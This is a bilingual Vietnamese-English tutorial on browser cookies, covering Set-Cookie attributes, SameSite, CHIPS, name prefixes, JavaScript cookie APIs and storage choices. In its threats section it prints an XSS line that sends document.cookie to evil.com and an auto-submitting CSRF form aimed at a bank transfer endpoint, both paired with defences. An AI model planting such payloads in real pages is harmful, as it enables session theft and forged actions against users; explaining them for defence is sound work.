Cookies in the Frontend — From Basics to Security Deep Dive
A bilingual deep-dive into HTTP cookies: how Set-Cookie works, every attribute (Secure, HttpOnly, SameSite, Partitioned/CHIPS), reading them in JS, cookies vs storage, and the security threats (XSS, CSRF, fixation) with prevention.
Cookie là gì?
HTTP không trạng thái — mỗi request là độc lập và server quên bạn giữa các request. Cookie là cách sửa nguyên thuỷ: một mẩu dữ liệu nhỏ mà server bảo browser lưu lại và gửi lại trên mỗi request sau đó.
Vòng lặp đó chính là toàn bộ ý tưởng:
1. Browser → Server: GET /login
2. Server → Browser: Set-Cookie: session=abc123 {server bảo lưu}
3. Browser stores it
4. Browser → Server: GET /dashboard
Cookie: session=abc123 {browser tự gửi lại}
Server đặt cookie bằng header response Set-Cookie; browser tự động trả lại bằng header request Cookie cho các request khớp.
Cấu tạo của một Cookie
Set-Cookie: session=abc123; Max-Age=3600; Path=/; Domain=example.com; Secure; HttpOnly; SameSite=Lax
└──── name=value ────┘ └────────────── attributes ──────────────────────────┘
Chỉ name=value được gửi lại server. Các attribute là chỉ dẫn cho browser về việc khi nào và thế nào gửi cookie — chúng không bao giờ được gửi ngược lại.
Thuộc tính Cookie — Bức tranh đầy đủ
Attribute điều khiển vòng đời, phạm vi, và bảo mật của cookie. Đặt đúng chúng là phần lớn công việc.
Vòng đời: Expires vs Max-Age
Set-Cookie: a=1 ; no lifetime → session cookie {cookie phiên}
Set-Cookie: b=2; Max-Age=3600 ; expires in 3600s {hết hạn sau 3600s}
Set-Cookie: c=3; Expires=Wed, 31 Dec 2025 23:59:59 GMT
- Không vòng đời = = cookie phiên, xoá khi đóng browser (dù “khôi phục phiên” có thể giữ lại).
- tính bằng giây, ưu tiên hơn
Expireskhi có cả hai. Hãy dùng nó. - Để xoá cookie: đặt lại với
Max-Age=0(cùng name/path/domain).
Phạm vi: Domain và Path
Set-Cookie: x=1; Domain=example.com; Path=/app
Domain: bỏ qua → cookie chỉ host (đúng host). đặtDomain=example.com→ gửi cả tới mọi subdomain . Bạn không thể đặt cookie cho domain bạn không thuộc về — và không bao giờ cho public suffix như.com.Path: cookie chỉ gửi cho URL dưới path này.Path=/app→ .Pathkhông phải ranh giới bảo mật .
Bảo mật: Secure
Set-Cookie: token=xyz; Secure
Cookie chỉ gửi qua HTTPS (trừ localhost). Điều này ngăn kẻ tấn công mạng đọc nó qua HTTP thường. Luôn đặt Secure cho mọi thứ nhạy cảm.
Bảo mật: HttpOnly
Set-Cookie: session=abc123; HttpOnly
Cookie vô hình với JavaScript — document.cookie sẽ không hiện nó. Đây là phòng thủ quan trọng nhất chống đánh cắp phiên qua XSS. ID phiên luôn luôn nên là HttpOnly.
Bảo mật: SameSite
Cái này điều khiển việc cookie có được gửi trên request khác site hay không — phòng thủ cốt lõi chống CSRF.
| Giá trị | Hành vi |
|---|---|
Strict | Chỉ gửi cho request cùng site. Ngay cả click link từ site khác cũng không gửi — an toàn nhưng có thể khiến user “out” khi vừa tới |
Lax mặc định) | Gửi cùng site + khi điều hướng GET cấp cao nhất. Chặn POST/iframe/AJAX khác site |
None | Gửi mọi request, bắt buộc Secure. Cần cho cookie third-party hợp pháp |
Set-Cookie: session=abc; SameSite=Lax; Secure; HttpOnly
Set-Cookie: embed=1; SameSite=None; Secure {third-party use {dùng third-party}}
Browser hiện đại mặc định SameSite=Lax khi bạn không chỉ định.
Hiện đại: Partitioned (CHIPS)
Set-Cookie: ad=1; SameSite=None; Secure; Partitioned
CHIPS (Cookie có trạng thái phân vùng độc lập) cho cookie third-party một lọ riêng cho mỗi site cấp cao nhất. Một embed trên siteA.com và cùng embed đó trên siteB.com nhận cookie phân vùng khác nhau — chúng giữ được trạng thái chức năng mà không cho phép theo dõi xuyên site.
Tiền tố tên: __Host- và __Secure-
Set-Cookie: __Host-session=abc; Path=/; Secure; HttpOnly {strongest {mạnh nhất}}
Set-Cookie: __Secure-id=xyz; Secure
Các tiền tố này được browser thực thi:
__Secure-: cookie phải cóSecurevà đến từ HTTPS.__Host-: phảiSecure,Path=/, và không cóDomain(chỉ host) — tiêu chuẩn vàng cho cookie phiên, miễn nhiễm với tiêm từ subdomain.
Demo trực tiếp
Cookie dễ hiểu nhất khi bạn tự nghịch. Demo dưới có một sân chơi cookie (set/đọc/xoá với attribute thật), một minh hoạ HttpOnly, một so sánh cookie vs storage, và một trình giải thích SameSite/CSRF.
Mở demo đầy đủ:
Đọc & Ghi Cookie trong JavaScript
API cũ: document.cookie
API cổ điển nổi tiếng là khó dùng — nó là một chuỗi “ma thuật” duy nhất:
// Reading returns ALL non-HttpOnly cookies as one string
// {Đọc trả về TẤT CẢ cookie không-HttpOnly dưới dạng một chuỗi}
console.log(document.cookie); // "theme=dark; lang=en"
// Writing sets ONE cookie (assignment doesn't overwrite the rest)
// {Ghi đặt MỘT cookie (gán không ghi đè phần còn lại)}
document.cookie = "theme=dark; Max-Age=3600; Path=/; SameSite=Lax";
// You can never read HttpOnly or Secure attributes back {Không bao giờ đọc lại được attribute}
Hàm phụ giúp nó dễ chịu hơn:
function getCookie(name) {
const match = document.cookie.match(
new RegExp("(?:^|; )" + name.replace(/([.$?*|{}()[\]\\/+^])/g, "\\$1") + "=([^;]*)")
);
return match ? decodeURIComponent(match[1]) : null;
}
function setCookie(name, value, { maxAge, path = "/", sameSite = "Lax", secure = true } = {}) {
let str = `${encodeURIComponent(name)}=${encodeURIComponent(value)}; Path=${path}; SameSite=${sameSite}`;
if (maxAge != null) str += `; Max-Age=${maxAge}`;
if (secure) str += "; Secure";
document.cookie = str;
}
function deleteCookie(name, path = "/") {
document.cookie = `${name}=; Max-Age=0; Path=${path}`;
}
Lưu ý: JavaScript không bao giờ đặt được
HttpOnly— điều đó sẽ phá huỷ mục đích của nó. Chỉ server làm được.
API hiện đại: Cookie Store
Cookie Store API bất đồng bộ dễ chịu hơn nhiều (nền Chromium, hỗ trợ một phần):
// Async, structured, no string parsing {Bất đồng bộ, có cấu trúc, không parse chuỗi}
await cookieStore.set({
name: "theme",
value: "dark",
expires: Date.now() + 3600_000,
sameSite: "lax",
});
const cookie = await cookieStore.get("theme"); // { name, value, ... }
const all = await cookieStore.getAll();
await cookieStore.delete("theme");
// React to changes (e.g. another tab logs out) {Phản ứng với thay đổi}
cookieStore.addEventListener("change", (e) => {
console.log("changed:", e.changed, "deleted:", e.deleted);
});
Cookie vs Web Storage
Cookie không phải nơi duy nhất để lưu data. Chọn đúng công cụ:
| Tính năng | Cookie | localStorage | sessionStorage | IndexedDB |
|---|---|---|---|---|
| Gửi lên server | mỗi request | ❌ | ❌ | ❌ |
| Dung lượng | ~4 KB | ~5–10 MB | ~5–10 MB | hàng trăm MB+ |
| JS đọc được | chỉ khi không HttpOnly | ✅ | ✅ | ✅ |
| Hết hạn | có sẵn | thủ công | đóng tab | ❌ manual |
| Sống qua đóng tab | ✅ (if persistent) | ✅ | ❌ | ✅ |
| Tốt cho | xác thực, trạng thái server | tuỳ chọn, trạng thái UI | tạm theo tab | dữ liệu lớn có cấu trúc |
Quy tắc kinh nghiệm: dùng cookie cho xác thực (server cần chúng mỗi request), và Web Storage cho data chỉ phía client. Đừng bao giờ để session token trong localStorage — nó hoàn toàn phơi bày với XSS.
Mối đe doạ bảo mật & Phòng tránh
Cookie mang theo thông tin xác thực, khiến chúng thành mục tiêu hàng đầu. Đây là các mối đe doạ chính.
1. XSS — Đánh cắp phiên
Nếu kẻ tấn công tiêm script vào trang, họ có thể đọc cookie và tuồn ra ngoài:
// Attacker's injected script {Script bị tiêm của kẻ tấn công}
new Image().src = "https://evil.com/steal?c=" + encodeURIComponent(document.cookie);
Phòng tránh:
- trên cookie phiên — script không đọc được.
- Sửa chính lỗ hổng XSS: escape output, dùng Content-Security-Policy chặt, không bao giờ
innerHTMLdata chưa tin cậy.
2. CSRF — Request giả mạo
Browser gửi cookie tự động, kể cả request được kích bởi site khác. Kẻ tấn công có thể khiến browser bạn thực hiện hành động khi đang đăng nhập:
<!-- On evil.com — auto-submits using YOUR cookies {tự submit dùng cookie của BẠN} -->
<form action="https://bank.com/transfer" method="POST">
<input name="to" value="attacker" />
<input name="amount" value="10000" />
</form>
<script>document.forms[0].submit();</script>
Phòng tránh:
- (hoặc
Strict) chặn POST khác site. - Token chống CSRF: một bí mật theo phiên trong form/header mà kẻ tấn công không đọc được (double-submit cookie hoặc synchronizer token).
- Kiểm tra
Origin/Referercho request thay đổi trạng thái.
3. MITM — Chặn bắt mạng
Qua HTTP thường, bất kỳ ai trên mạng đọc được cookie.
Phòng tránh: HTTPS khắp nơi + .
4. Cố định phiên
Kẻ tấn công cài sẵn một session ID đã biết trước khi bạn đăng nhập, rồi tái dùng nó sau đó.
Phòng tránh: Tái tạo session ID khi đăng nhập (và khi đổi quyền).
5. Lạm dụng Subdomain & Phạm vi
Một sub.example.com bị chiếm có thể đặt cookie Domain=example.com ghi đè cookie của site chính .
Phòng tránh: Dùng tiền tố __Host- cho cookie phiên (chỉ host, không Domain).
6. Theo dõi Third-Party
Cookie SameSite=None trong iframe/pixel xưa nay cho phép theo dõi xuyên site.
Phòng tránh / hướng đi: Browser đang loại bỏ dần cookie third-party; dùng Partitioned (CHIPS) cho trạng thái hợp pháp theo site.
7. Đánh bom Cookie / Tràn
Kẻ tấn công (hoặc code lỗi) có thể nhồi cookie khổng lồ/nhiều đến khi request vượt giới hạn header của server → 400/431 → lỗi 400/431 (một dạng DoS).
Phòng tránh: Giữ cookie nhỏ, kiểm tra kích thước, giới hạn theo Path/Domain.
Checklist phiên an toàn
For a session/auth cookie, ALWAYS:
{Cho cookie phiên/xác thực, LUÔN:}
✅ __Host- prefix (host-only, can't be overridden) {không bị ghi đè}
✅ HttpOnly (XSS can't read it) {XSS không đọc được}
✅ Secure (HTTPS only) {chỉ HTTPS}
✅ SameSite=Lax/Strict (CSRF defense) {phòng CSRF}
✅ Short Max-Age (limit blast radius) {giới hạn thiệt hại}
✅ Regenerate on login (anti-fixation) {chống fixation}
✅ + CSRF token for state-changing POSTs {+ token CSRF}
Example {Ví dụ}:
Set-Cookie: __Host-session=...; Max-Age=1800; Path=/; Secure; HttpOnly; SameSite=Lax
Bối cảnh Cookie hiện đại
Cái chết của Cookie Third-Party
Safari (ITP) và Firefox chặn cookie third-party mặc định; Chrome cũng đang đi theo hướng đó. Các thứ thay thế:
- : trạng thái phân vùng theo site.
- :
document.requestStorageAccess()cho phép frame nhúng xin cookie chưa phân vùng của nó sau một cử chỉ người dùng. - cho quảng cáo/định danh mà không cần cookie xuyên site.
Đồng ý & Luật riêng tư
Theo GDPR/ePrivacy, cookie không thiết yếu (analytics, ads) cần đồng ý trước; cookie thực sự cần thiết (phiên, bảo mật) thì không. Đừng đặt cookie theo dõi trước khi người dùng đồng ý.
Các lỗi thường gặp
| Lỗi | Sửa |
|---|---|
token phiên trong localStorage | Dùng cookie HttpOnly |
Quên Secure | Luôn đặt cho cookie nhạy cảm |
SameSite=None không Secure | Browser từ chối — thêm Secure |
| Xoá thất bại | Khớp chính xác name + path + domain |
Dựa vào Path để bảo mật | Nó không phải ranh giới bảo mật |
| Lưu data lớn trong cookie | Giới hạn ~4 KB; gửi mỗi request — dùng storage |
Không encodeURIComponent | Giá trị có ; , = làm hỏng parse |
Tham khảo nhanh
Set-Cookie attributes {thuộc tính}:
Max-Age=<s> / Expires=<date> → lifetime {vòng đời}
Domain=<d> → share with subdomains {chia sẻ subdomain}
Path=<p> → URL scope (NOT security) {phạm vi URL}
Secure → HTTPS only {chỉ HTTPS}
HttpOnly → hidden from JS {ẩn khỏi JS}
SameSite=Strict|Lax|None → cross-site policy (CSRF) {chính sách xuyên site}
Partitioned → CHIPS per-site jar {lọ theo site}
__Host- / __Secure- prefix → browser-enforced rules {luật do browser thực thi}
JS access {truy cập JS}:
document.cookie → legacy string {chuỗi cũ}
cookieStore.get/set/delete() → modern async {hiện đại bất đồng bộ}
Decide where to store {quyết định lưu ở đâu}:
auth/session → HttpOnly cookie
UI prefs → localStorage
per-tab temp → sessionStorage
large data → IndexedDB
Cookie thì cũ, nhưng vẫn là xương sống của xác thực web. Khác biệt giữa một cookie an toàn và một mối hoạ chỉ là một nắm attribute — hãy đặt chúng một cách có chủ đích.